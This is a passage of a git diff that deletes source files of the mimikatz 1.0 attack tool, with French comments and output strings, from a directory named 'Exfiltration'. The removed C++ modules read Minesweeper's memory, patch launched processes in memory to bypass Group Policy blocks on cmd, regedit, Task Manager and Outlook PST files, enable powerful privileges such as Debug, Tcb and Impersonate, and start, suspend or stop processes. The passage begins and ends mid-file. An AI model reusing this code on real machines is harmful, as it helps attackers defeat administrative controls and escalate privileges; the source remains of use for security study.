"012345678.F? !!"; - -vector mod_mimikatz_minesweeper::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le dmineur en cours")); - return monVector; -} - -bool mod_mimikatz_minesweeper::infos(vector * arguments) -{ - structHandleAndAddr * maStruct = new structHandleAndAddr(); - if(giveHandleAndAddr(maStruct)) - { - STRUCT_MINESWEEPER_GAME monGame; - if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper)) - { -#ifdef _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber >= 7000) - monGame.pBoard = monGame.pBoard_WIN7x86; -#endif - STRUCT_MINESWEEPER_BOARD monBoard; - if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper)) - { - (*outputStream) << L"Mines : " << monBoard.nbMines << endl << - L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl << - L"Champ : " << endl << endl; - - char ** monTableau; - monTableau = new char*[monBoard.nbLignes]; - for(DWORD l = 0; l < monBoard.nbLignes; l++) - monTableau[l] = new char[monBoard.nbColonnes]; - - parseField(maStruct, monBoard.ref_visibles, monTableau, true); - parseField(maStruct, monBoard.ref_mines, monTableau, false); - - for(DWORD l = 0; l < monBoard.nbLignes; l++) - { - (*outputStream) << L'\t'; - for(DWORD c = 0; c < monBoard.nbColonnes; c++) - (*outputStream) << monTableau[l][c] << L' '; - (*outputStream) << endl; - delete[] monTableau[l]; - } - delete[] monTableau; - } else (*outputStream) << L"Impossible de lire les donnes du plateau" << endl; - } else (*outputStream) << L"Impossible de lire les donnes du jeu" << endl; - CloseHandle(maStruct->hMineSweeper); - } - delete maStruct; - - return true; -} - -bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible) -{ - DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE); - - STRUCT_MINESWEEPER_REF_ELEMENT maRefElements; - if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) - { - PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements]; - if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) - { - for(DWORD c = 0; c < maRefElements.nbElements; c++) - { - STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement; - if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) - { - void * cellules = isVisible ? reinterpret_cast(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast(new BYTE[maRefColonneElement.nbElements]); - if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper)) - { - for(DWORD l = 0; l < maRefColonneElement.nbElements; l++) - { - if(isVisible) - monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast(cellules)[l]]; - else - if(reinterpret_cast(cellules)[l]) monTableau[l][c] = '*'; - } - } else (*outputStream) << L"Impossible de lire les lements de la colonne : " << c << endl; - delete[] cellules; - } else (*outputStream) << L"Impossible de lire les rfrences de la colonne : " << c << endl; - } - } else (*outputStream) << L"Impossible de lire les rfrences des colonnes" << endl; - delete[] ref_colonnes_elements; - } else (*outputStream) << L"Impossible de lire les rfrences de l\'lement" << endl; - - return true; -} - -bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) -{ -#ifdef _M_X64 - BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8}; - LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1); -#elif defined _M_IX86 - BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8}; - LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1; -#endif - RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); - - wstring nomDemineur(L"minesweeper.exe"); - mod_process::KIWI_PROCESSENTRY32 monDemineur; - if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) - { - monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID; - mod_process::KIWI_MODULEENTRY32 monModule; - if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) - { - PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; - if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper)) - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper)) - { -#ifdef _M_X64 - long offsetTemp = 0; - if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper)) - mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); -#elif defined _M_IX86 - if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper)) - mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); -#endif - } - } - } - - bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G; - - if(!reussite && monHandleAndAddr->hMineSweeper) - CloseHandle(monHandleAndAddr->hMineSweeper); - - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h deleted file mode 100644 index f80be469..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h +++ /dev/null @@ -1,72 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_system.h" -#include - -class mod_mimikatz_minesweeper -{ -private: - typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT { - DWORD nbElements; - DWORD unk0; - DWORD unk1; - PVOID elements; - DWORD unk2; - DWORD unk3; - } STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT; - - typedef struct _STRUCT_MINESWEEPER_BOARD { - PVOID Serializer; - DWORD nbMines; - DWORD nbLignes; - DWORD nbColonnes; - DWORD unk0; - DWORD unk1; - DWORD unk2; - DWORD unk3; - DWORD unk4; - DWORD unk5; - DWORD unk6; - DWORD unk7; - DWORD unk8; - DWORD unk9; -#ifdef _M_X64 - DWORD unk_x64; -#endif - DWORD unk10; - PVOID unk11; - PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles; - PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines; - DWORD unk12; - DWORD unk13; - } STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD; - - typedef struct _STRUCT_MINESWEEPER_GAME { - PVOID Serializer; - //PVOID pGameStat; on 7x86 - PVOID pNodeBase; - PVOID pBoardCanvas; - PSTRUCT_MINESWEEPER_BOARD pBoard; - PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86; - } STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME; - - typedef struct structHandleAndAddr{ - HANDLE hMineSweeper; - DWORD pidMineSweeper; - PVOID G; - } structHandleAndAddr; - - static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); - static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true); - -public: - static vector getMimiKatzCommands(); - static bool infos(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp deleted file mode 100644 index bfc18f11..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp +++ /dev/null @@ -1,210 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_nogpo.h" -#include "..\global.h" - -vector mod_mimikatz_nogpo::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un diteur de registre, ignorant DisableRegistryTools")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst")); - return monVector; -} - -bool mod_mimikatz_nogpo::regedit(vector * arguments) -{ - (*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl; - return true; -} - -bool mod_mimikatz_nogpo::cmd(vector * arguments) -{ - (*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl; - return true; -} - -bool mod_mimikatz_nogpo::taskmgr(vector * arguments) -{ - (*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl; - return true; -} - -bool mod_mimikatz_nogpo::olpst(vector * arguments) -{ - char szDisable[] = "DisablePst"; - char szKiwi[] = "KiwiAndPst"; - - wstring pathToOutlook; - - if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook)) - { - DWORD pidOutlook = 0; - bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook); - - (*outputStream) << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO"); - if(reussite) - { - mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast(szDisable), sizeof(szDisable), reinterpret_cast(szKiwi), sizeof(szKiwi)); - } - } else (*outputStream) << L"Outlook introuvable" << endl; - return true; -} - -bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path) -{ - bool reussite = false; - - DWORD regError; - - wstring pathToApplication = L"Software\\Classes\\"; - pathToApplication.append(application); - pathToApplication.append(L"\\CLSID"); - - HKEY hApplication; - - regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication); - if(regError == ERROR_SUCCESS) - { - DWORD ApplicationType = 0; - DWORD ApplicationSize = 0; - LPBYTE monGUID = NULL; - - regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); - if(regError == ERROR_SUCCESS) - { - if(ApplicationType == REG_SZ) - { - monGUID = new BYTE[ApplicationSize]; - - regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); - if(regError == ERROR_SUCCESS) - { - wstring regPathToPath = -#ifdef _M_X64 - L"Software\\Wow6432Node\\Classes\\CLSID\\"; -#elif defined _M_IX86 - L"Software\\Classes\\CLSID\\"; -#endif - regPathToPath.append(reinterpret_cast(monGUID)); - regPathToPath.append(L"\\LocalServer32"); - - HKEY hApplicationPath; - - regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath); - if(regError == ERROR_SUCCESS) - { - DWORD ApplicationPathType = 0; - DWORD ApplicationPathSize = 0; - LPBYTE monPath = NULL; - - regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); - if(regError == ERROR_SUCCESS) - { - if(ApplicationPathType == REG_SZ) - { - monPath = new BYTE[ApplicationPathSize]; - - regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); - if(reussite = (regError == ERROR_SUCCESS)) - { - path->assign(reinterpret_cast(monPath)); - } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; - delete[] monPath; - } else (*outputStream) << "Le type retourn par \'" << monPath << "\' n\'est pas : REG_SZ" << endl; - } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; - RegCloseKey(hApplicationPath); - } else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl; - } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; - delete[] monGUID; - } else (*outputStream) << "Le type retourn par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl; - } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; - RegCloseKey(hApplication); - } else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl; - - return reussite; -} - - -bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID) -{ - bool reussite = false; - - PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION(); - if(mod_process::start(&commandLine, mesInfos, true)) - { - PEB * monPeb = new PEB(); - if(mod_process::getPeb(monPeb, mesInfos->hProcess)) - { - PBYTE patternAddr = NULL; - // Ici NULL est "tolr", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment) - if(mod_memory::searchMemory(reinterpret_cast(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess)) - { - if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess))) - { - (*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl; - } - } - else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl; - - delete monPeb; - - if(!(ResumeThread(mesInfos->hThread) != -1)) - (*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl; - - if(monPID) - { - *monPID = mesInfos->dwProcessId; - } - - WaitForInputIdle(mesInfos->hProcess, INFINITE); - - CloseHandle(mesInfos->hThread); - CloseHandle(mesInfos->hProcess); - } - else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl; - - delete mesInfos; - - return reussite; -} - -bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID) -{ - bool reussite = false; - - if(origKey.size() == kiwiKey.size()) - { - SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t); - PBYTE maCleDeDepart = reinterpret_cast(const_cast(origKey.c_str())); - const void * maCleFinale = kiwiKey.c_str(); - - reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); - } - else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original diffrente du pattern cible" << endl; - - return reussite; -} - -bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID) -{ - bool reussite = false; - - if(origKey.size() == kiwiKey.size()) - { - SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char); - PBYTE maCleDeDepart = reinterpret_cast(const_cast(origKey.c_str())); - const void * maCleFinale = kiwiKey.c_str(); - - reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); - } - else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original diffrente du pattern cible" << endl; - - return reussite; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h deleted file mode 100644 index c96e22f5..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h +++ /dev/null @@ -1,30 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_patch.h" -#include - -class mod_mimikatz_nogpo -{ -private: - static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL); - static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL); - static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL); - - static bool getApplicationPathFromCLSID(wstring application, wstring * path); - -public: - static vector getMimiKatzCommands(); - - static bool regedit(vector * arguments); - static bool cmd(vector * arguments); - static bool taskmgr(vector * arguments); - static bool olpst(vector * arguments); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp deleted file mode 100644 index 1b294866..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp +++ /dev/null @@ -1,167 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_privilege.h" -#include "..\global.h" - -vector mod_mimikatz_privilege::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilges")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilges")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilges")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Dsactive un ou plusieurs privilges")); - /* Raccouris */ - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou dsactive) le privilge Debug")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou dsactive) le privilge Security")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou dsactive) le privilge Tcb")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou dsactive) le privilge Impersonate")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou dsactive) le privilge AssignPrimaryToken")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou dsactive) le privilge Shutdown")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou dsactive) le privilge TakeOwnership")); - return monVector; -} - -bool mod_mimikatz_privilege::enable(vector * arguments) -{ - bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED); - return true; -} - -bool mod_mimikatz_privilege::remove(vector * arguments) -{ - bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED); - return true; -} - -bool mod_mimikatz_privilege::disable(vector * arguments) -{ - bool reussite = multiplePrivs(arguments, 0); - return true; -} - -bool mod_mimikatz_privilege::simplePriv(wstring priv, vector * arguments) -{ - bool ajout = arguments->empty(); - - (*outputStream) << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilge : " << priv << L" : "; - - vector> * mesPrivs = new vector>; - mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0)); - - bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE); - delete mesPrivs; - - if(reussite) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - - return reussite; -} - -bool mod_mimikatz_privilege::multiplePrivs(vector * privs, DWORD type) -{ - bool reussite = false; - vector> * mesPrivs = new vector>; - for(vector::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++) - { - mesPrivs->push_back(make_pair(*monPrivilege, type)); - } - reussite = mod_privilege::set(mesPrivs); - delete mesPrivs; - - if(reussite) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO ; " << mod_system::getWinError(); - (*outputStream) << endl; - - return reussite; -} - - -bool mod_mimikatz_privilege::list(vector * arguments) -{ - vector> * mesPrivs = new vector>; - - if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE)) - { - for(vector>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++) - { - (*outputStream) << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t'; - - if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES) - { - if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT) - { - (*outputStream) << L"ENABLED_BY_DEFAULT "; - } - - if(monPrivilege->second & SE_PRIVILEGE_ENABLED) - { - (*outputStream) << L"ENABLED "; - } - - if(monPrivilege->second & SE_PRIVILEGE_REMOVED) - { - (*outputStream) << L"REMOVED "; - } - - if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS) - { - (*outputStream) << L"USED_FOR_ACCESS "; - } - - if(monPrivilege->second & SE_PRIVILEGE_REMOVED) - { - (*outputStream) << L"REMOVED"; - } - } - - (*outputStream) << endl; - } - } - else (*outputStream) << mod_system::getWinError() << endl; - - return true; -} - - -bool mod_mimikatz_privilege::debug(vector * arguments) -{ - simplePriv(SE_DEBUG_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::security(vector * arguments) -{ - simplePriv(SE_SECURITY_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::tcb(vector * arguments) -{ - simplePriv(SE_TCB_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::impersonate(vector * arguments) -{ - simplePriv(SE_IMPERSONATE_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::assign(vector * arguments) -{ - simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::shutdown(vector * arguments) -{ - simplePriv(SE_SHUTDOWN_NAME, arguments); return true; -} - -bool mod_mimikatz_privilege::takeowner(vector * arguments) -{ - simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h deleted file mode 100644 index f3dc739b..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h +++ /dev/null @@ -1,33 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_privilege.h" -#include - -class mod_mimikatz_privilege -{ -private: - static bool multiplePrivs(vector * privs, DWORD type); - static bool simplePriv(wstring priv, vector * arguments); -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - static bool enable(vector * arguments); - static bool remove(vector * arguments); - static bool disable(vector * arguments); - - static bool debug(vector * arguments); - static bool security(vector * arguments); - static bool tcb(vector * arguments); - static bool impersonate(vector * arguments); - static bool assign(vector * arguments); - static bool shutdown(vector * arguments); - static bool takeowner(vector * arguments); - -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp deleted file mode 100644 index d18ca8b9..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp +++ /dev/null @@ -1,298 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_process.h" -#include "..\global.h" - -vector mod_mimikatz_process::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Excute un processus, /paused et/ou /sudo")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'excution d\'un processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage")); - return monVector; -} - -bool mod_mimikatz_process::start(vector * arguments) -{ - if(!arguments->empty()) - { - wstring commande = arguments->back(); - bool paused = false; - bool sudo = false; - - (*outputStream) << L"Demande d\'excution de : \'" << commande << L"'" << endl; - PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0}; - - switch(arguments->size()) - { - case 2: - if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) - paused = true; - else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0) - sudo = true; - else - goto doStartProcess_syntaxerror; - - break; - case 3: - if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) - paused = true; - else - goto doStartProcess_syntaxerror; - - if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0) - sudo = true; - else - goto doStartProcess_syntaxerror; - - break; - } - - if(mod_process::start(&commande, &pi, paused, sudo)) - { - if(paused) - (*outputStream) << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl; - - if(sudo) - (*outputStream) << L" * Le processus est dmarr avec de fausses donnes d\'identification" << endl; - - printInfosFromPid(pi.dwProcessId, pi.dwThreadId); - } - else (*outputStream) << L"mod_process::start ; " << mod_system::getWinError() << endl; - } - else - { -doStartProcess_syntaxerror: - (*outputStream) << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl; - } - - return true; -} - -bool mod_mimikatz_process::stop(vector * arguments) -{ - for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) - { - mod_process::KIWI_PROCESSENTRY32 monProcess; - wstring procName = *monProcessName; - - if(mod_process::getUniqueForName(&monProcess, &procName)) - { - (*outputStream) << L"Fin de : " << procName << L'\t'; - if(mod_process::stop(monProcess.th32ProcessID)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_process::stop ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; - } - - return true; -} - - -bool mod_mimikatz_process::suspend(vector * arguments) -{ - for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) - { - mod_process::KIWI_PROCESSENTRY32 monProcess; - wstring procName = *monProcessName; - - if(mod_process::getUniqueForName(&monProcess, &procName)) - { - (*outputStream) << L"Suspension de : " << procName << L'\t'; - if(mod_process::suspend(monProcess.th32ProcessID)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_process::suspend ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; - } - - return true; -} - - -bool mod_mimikatz_process::resume(vector * arguments) -{ - for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) - { - mod_process::KIWI_PROCESSENTRY32 monProcess; - wstring procName = *monProcessName; - - if(mod_process::getUniqueForName(&monProcess, &procName)) - { - (*outputStream) << L"Reprise de : " << procName << L'\t'; - if(mod_process::resume(monProcess.th32ProcessID)) - 